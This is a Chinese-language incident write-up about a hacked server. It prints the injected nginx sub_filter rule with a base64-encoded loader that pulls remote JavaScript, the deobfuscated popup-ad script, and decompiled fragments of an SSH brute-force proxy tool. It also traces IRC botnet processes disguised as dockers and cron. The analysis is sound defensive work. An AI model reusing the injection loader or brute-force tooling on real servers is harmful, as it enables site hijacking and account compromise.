0x01 起因#
當我如往常一般打開 PVE 想掛一掛原神的時候,發現居然 Nginx (1.18) 的默認頁面被注入了一個 JS,他還偽裝成 JQuery,非常有趣
JS 反混淆#
查看這個 JS,發現是混淆過後的,於是進行一個反混淆
反混淆代碼如下:
(() => {
const config = {
key: "13792427ab60437bafb55088e45e0e06",
address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",
imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif",
jumpPercent: 100, // 百分比控制
jumpCount: 1, // 每天最多彈幾次
debug: false // 調試開關(true = 強制彈)
};
function createPopup() {
if (document.getElementById("popup-container")) return;
const html = `
<div id="popup-container"
style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
background:rgba(0,0,0,0.6);z-index:999999;">
<div id="popup-box"
style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
border-radius:12px;max-width:90%;background:transparent;">
<div style="text-align:right;position:absolute;top:-35px;right:-5px;">
<span id="popup-close"
style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
transition:color 0.3s;">✖</span>
</div>
<div style="text-align:center;">
<img id="popup-image" alt="點擊進入"
style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
</div>
</div>
</div>`;
document.body.insertAdjacentHTML("beforeend", html);
}
function showPopup() {
createPopup();
const popup = document.getElementById("popup-container");
const box = document.getElementById("popup-box");
const img = document.getElementById("popup-image");
const closeBtn = document.getElementById("popup-close");
if (popup) popup.style.display = "block";
if (img) {
img.src = config.imageUrl;
img.addEventListener("click", () => window.location.href = config.address);
}
if (closeBtn) {
closeBtn.addEventListener("click", () => popup.style.display = "none");
closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
}
if (popup) popup.addEventListener("click", () => popup.style.display = "none");
if (box) box.addEventListener("click", (e) => e.stopPropagation());
}
function conditionCheck() {
if (config.debug) { showPopup(); return; }
let data = {};
try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
const today = new Date().toISOString().split("T")[0];
if (data.date !== today) data = { date: today, count: 0 };
if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;
// 只允許中國大陸 IP
fetch("https://api.ip.sb/geoip")
.then(r => r.json())
.then(json => {
console.log("GeoIP 返回:", json);
if (json.country_code === "CN") {
data.count++;
localStorage.setItem(config.key, JSON.stringify(data));
showPopup();
}
})
.catch(err => console.warn("GeoIP 失敗", err));
}
if (document.readyState === "loading") {
document.addEventListener("DOMContentLoaded", conditionCheck);
} else {
conditionCheck();
}
})();
色情廣告#
可以看到這不是一個每次都會觸發的腳本,為了滿足各位的好奇心我還是立即執行一下
0x02 定位#
這是一個國內某伺服器提供商位於寧波的伺服器,伺服器已備案於某公司名下,在這樣一個嚴苛的條件下還能進行攻擊,非常有意思,那麼我們就從受害者 Nginx 開始排查
root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
登錄伺服器後對本地進行一個請求,發現也被污染了,那麼就開始依次排查哪裡被攻擊了
先看看 Nginx 配置文件
cat /etc/nginx/nginx.conf
...
sub_filter_types text/html;
sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
sub_filter_once off;
...
可以知道 Nginx 所有網頁都被添加了一個頭部
root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>
本地 Nginx 主頁文件是沒有被修改的,再檢查一下 Nginx 自己有沒有被攻擊
root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx
1317754528e1c486b6f1e8b363062683 /usr/sbin/nginx
是沒問題的,那麼是誰修改的 Nginx 配置呢
0x03 排查#
lsof 看一下
proxy-age 3906587 root 6u IPv4 643527364 0t0 TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587 root 7u IPv4 643523331 0t0 TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587 root 8u IPv4 643527858 0t0 TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587 root 9u IPv4 643486279 0t0 TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587 root 10u IPv4 643524301 0t0 TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587 root 11u IPv4 643524645 0t0 TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)
proxy-agent#
用 pid 看一下這個是什麼
root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
proxy-age 3906587 root cwd DIR 8,17 4096 1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root rtd DIR 8,17 4096 2 /
proxy-age 3906587 root txt REG 8,17 8587347 2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root 0r FIFO 0,13 0t0 174659017 pipe
proxy-age 3906587 root 1w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 2w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 3w CHR 1,3 0t0 6 /dev/null
proxy-age 3906587 root 4u a_inode 0,14 0 11318 [eventpoll]
proxy-age 3906587 root 5u a_inode 0,14 0 11318 [eventfd]
非常典型的 /tmp
路徑,看一眼
root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
. .XIM-unix cc.2 newpop sshbot uv-5abec762cab0104e.lock
.. .font-unix cc.3 nginx-test systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix .mjdjuxxcydy envnew nginx_cache systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix aa.txt envnew.tgz nus systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h
.X11-unix cc.1 initial.log snap-private-tmp systemd-private-8ad1e99f07844f46aa091036c4c902b8
根據 .mjdjuxxcydy
目錄的 proxy-agent
所在的目錄,還有 newpop
和 sshbot
都非常可疑啊,隨便拉一個到本地看看
先丟到奇安信去實錘一下,然後自己慢慢分析
❯ file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped
《with debug_info, not stripped》
Go 語言寫的,居然還有調試信息,看一眼
❯ ldd proxy-agent
linux-vdso.so.1 (0x00007fdb32bb8000)
libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)
沒什麼問題,打開 IDA 看一眼
v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v5 + 8);
v.len = v1;
v88.str = (uint8 *)"Failed to fetch password: %v\n";
v88.len = 29LL;
v96.array = (interface__0 *)&v;
v96.len = 1LL;
log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic: nmsys= locks= dying= allocsrax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs Signal signal m->g0= pad1= pad2= text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid is not pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal newval= mcount= bytes, \n-----\n\n stack=[ minLC= maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v84.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host<>idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on != allgallpitabsbrkdead is LEAFbase of ) = <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat -%sErrorhttpswrite&"':***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB, got= ...\n max=scav ptr ] = (trap:init ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(v20 + 8);
v.len = v22;
v89.str = (uint8 *)"Invalid timeout value: %v";
v89.len = 25LL;
p_v = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
*(string_0 *)_r0.len,
*(_slice_main_domainIP *)&v16[-8],
*(_slice_main_domainIP *)&v16[16],
v56,
v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
v91.len = 48LL;
v27 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
*(_OWORD *)&v.array = v4;
v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
v.len = *(_QWORD *)&v16[8];
v93.str = (uint8 *)"Failed to load passwords from file: %v";
v93.len = 38LL;
v30 = &v;
*(_QWORD *)v16 = 1LL;
*(_QWORD *)&v16[8] = 1LL;
log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
v95.str = (uint8 *)"Incorrect password. Exiting...\n";
v95.len = 31LL;
v97.array = 0LL;
*(_OWORD *)&v97.len = 0uLL;
log_Fatalf(v95, v97);
}
仔細看過每個函數後,發現這個軟體並不是導致 Nginx 頁面被篡改的罪魁禍首,這只是用我們機器做代理去攻擊別的伺服器的代理軟體,那我們還得分析
brute#
進入 sshbot
文件夾發現了 brute
可執行文件
brute
用來爆破伺服器帳號和密碼,配合 proxy-agent
攻擊別的受害者
dockers#
查看 ps aux
可以看到很多在暑假啟動的 dockers
進程,雖然顯示了運行路徑,但是實地考察時發現文件已經被刪掉了,只有核心轉儲了
root 3578741 0.0 0.1 15896 3828 ? S Jul17 5:09 /usr/sbin/dockers
root 3664316 0.0 0.1 15900 3836 ? S Jul17 0:31 /usr/sbin/dockers
root 3690959 0.0 0.2 16028 3968 ? S Jul18 4:58 /usr/sbin/dockers
root 3694008 0.0 0.1 16032 3904 ? S Jul18 5:01 /usr/sbin/dockers
root 3694116 0.0 0.1 15892 3816 ? S Jul18 4:54 /usr/sbin/dockers
root 3694272 0.0 0.1 16032 3840 ? S Jul18 4:56 /usr/sbin/dockers
root 3695142 0.0 0.1 15900 3824 ? S Jul18 5:06 /usr/sbin/dockers
root 3696764 0.0 0.1 15900 3840 ? S Jul18 4:54 /usr/sbin/dockers
root 3698274 0.0 0.1 16024 3868 ? S Jul18 4:57 /usr/sbin/dockers
root 3701017 0.0 0.1 15900 3836 ? S Jul18 4:59 /usr/sbin/dockers
root 3701045 0.0 0.1 15896 3832 ? S Jul18 5:05 /usr/sbin/dockers
root 3790827 0.0 0.2 15896 4212 ? S Jul18 4:58 /usr/sbin/dockers
root 3829224 0.0 0.2 15900 4160 ? S Jul19 5:00 /usr/sbin/dockers
隨便抓一個用 gcore
進行內存轉儲,獲得 core dump
gcore -o ./dump 3829224
丟到 IDA 裡看看
一個 Perl 腳本,繼續查看字符串
PnP 和 IRC,確定是殭屍網絡無疑了,dockers
估計就是用來控制我們的上級伺服器和用我們去控制別的肉雞的軟體
lsof
查一下 dockers 的通信 IP,看看是什麼地方的肉雞
原來在瑞士
0x04 水落石出#
繼續查看 ps aux
看到一個運行了很久的 sshd
進程,得知這個瑞士的 185.208.158.91
的 IP 一直在連接我們的伺服器,真是囂張,都不隱藏自己一下嗎
root 3809994 57.6 0.2 16656 5564 ? R Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp 0 0 110.xxx.98.xxx:39290 185.208.158.91:6667 ESTABLISHED 3809994/sshd -i
嘗試全盤搜索這個用 ssh 連接我們的 IP
sudo grep -r "185.208.158.91" /etc /var /home
發現日誌
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.
《Accepted password》
伺服器上應該有防爆破攻擊失敗 ban 的防禦程序啊,怎麼會被知道密碼呢
(思考)
警覺 *
果然老運維也會犯這樣的錯,原本在合資和同學買這個伺服器的時候就三番兩次地提醒說不要設置這麼簡單的密碼,被以複雜密碼不好記,令牌登錄不方便等原因糊弄過去,也就不了了之了。
還以為是什麼軟體太老了被找到了 CVE,還怪了一下 Ubuntu,看來還是社工 > 技術啊
現在當務之急便是重裝系統,改一個密碼,然後寫一篇博客告誡自己
0x05 後記#
誰在只有 20 個 G 的伺服器上裝了一個 NAS 啊,也不知道用的難不難受,沒有分區用戶資料這下重裝系統只有全部數據 GG 了
假 cron 和 newpop#
清理系統時又發現一個病毒
root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root 632 0.0 0.1 8540 2552 ? Ss Apr14 0:19 /usr/sbin/cron -f
root 293584 57.8 0.2 16532 4876 ? R Aug26 14023:41 /usr/sbin/cron
root 2451024 0.0 0.1 8436 2460 pts/4 S+ 22:33 0:00 grep --color=auto cron
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
/usr/sbin 293584 root cwd DIR 8,17 0 2374 /tmp/newpop (deleted)
/usr/sbin 293584 root rtd DIR 8,17 4096 2 /
/usr/sbin 293584 root txt REG 8,17 3478464 2113 /usr/bin/perl
/usr/sbin 293584 root mem REG 8,17 101352 15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root mem REG 8,17 27112 15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root mem REG 8,17 51856 15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root mem REG 8,17 23152 72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root mem REG 8,17 47832 72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root mem REG 8,17 62 15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root mem REG 8,17 47 15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root mem REG 8,17 34 15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root mem REG 8,17 23 15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root mem REG 8,17 252 15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root mem REG 8,17 131 15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root mem REG 8,17 1518110 15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root mem REG 8,17 201272 15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root mem REG 8,17 3035952 11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root mem REG 8,17 202760 3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root mem REG 8,17 2029592 15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root mem REG 8,17 157224 15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root mem REG 8,17 1369384 15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root mem REG 8,17 18848 15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root mem REG 8,17 270 15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root mem REG 8,17 48 15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root mem REG 8,17 3360 15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root mem REG 8,17 27002 15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/usr/sbin 293584 root mem REG 8,17 191504 15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
/usr/sbin 293584 root mem REG 8,17 50 15153 /usr/lib/locale/C.UTF-8/LC_NUMERIC
/usr/sbin 293584 root 0r FIFO 0,13 0t0 499017526 pipe
/usr/sbin 293584 root 1w FIFO 0,13 0t0 499017527 pipe
/usr/sbin 293584 root 2w FIFO 0,13 0t0 499017528 pipe
/usr/sbin 293584 root 3u IPv4 504764119 0t0 TCP server-rMGU1XbC:60640->104.250.164.23:ircd (ESTABLISHED)
正好對應上之前 /tmp
裡找到的 newpop
,真是密碼一泄漏,全部殭屍網絡都過來搶肉雞了